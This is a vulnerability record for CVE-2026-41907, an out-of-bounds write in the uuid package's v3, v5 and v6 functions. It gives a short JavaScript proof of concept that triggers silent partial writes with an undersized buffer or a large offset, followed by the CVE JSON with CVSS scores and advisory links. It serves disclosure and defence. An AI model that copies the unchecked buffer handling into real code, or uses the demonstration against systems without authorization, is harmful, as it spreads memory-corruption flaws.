CVE-2026-41907

// PoC for CVE-2026-41907: Out-of-bounds write in uuid v3/v5/v6 const { v3, v5, v6 } = require('uuid'); // Scenario 1: Buffer allocation smaller than required (16 bytes) const smallBuffer = Buffer.alloc(8); // Allocating only 8 bytes try { // Attempting to write a 16-byte UUID into an 8-byte buffer // This triggers an out-of-bounds write v3('DNS', '6ba7b810-9dad-11d1-80b4-00c04fd430c8', smallBuffer); console.log('Exploit successful: Silent partial write occurred'); console.log('Modified buffer:', smallBuffer); } catch (e) { console.log('Error caught:', e.message); } // Scenario 2: Large offset causing write beyond buffer const normalBuffer = Buffer.alloc(16); try { // Offset 20 is larger than the buffer size (16) // This causes write operations to skip past the buffer v6('1.2.3.4', normalBuffer, 20); console.log('Exploit successful: Write at large offset'); } catch (e) { console.log('Error caught:', e.message); }

{"cve": {"id": "CVE-2026-41907", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:14.490", "lastModified": "2026-05-11T13:53:19.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "uuid is for the creation of RFC9562 (formerly RFC4122) UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output buffers but do not reject out-of-range writes (small buf or large offset). This allows silent partial writes into caller-provided buffers. This vulnerability is fixed in 14.0.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}, {"lang": "en", "value": "CWE-823"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uuidjs:uuid:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.1.1", "matchCriteriaId": "B8AA79D0-36C1-44C8-BB22-29113130D2DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:uuidjs:uuid:12.0.0:*:*:*:*:node.js:*:*", "matchCriteriaId": "989A818E-3B12-4BA1-8311-C2C4237B3E47"}, {"vulnerable": true, "criteria": "cpe:2.3:a:uuidjs:uuid:13.0.0:*:*:*:*:node.js:*:*", "matchCriteriaId": "88125146-C07D-4469-86AC-447F215418F1"}]}]}], "references": [{"url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}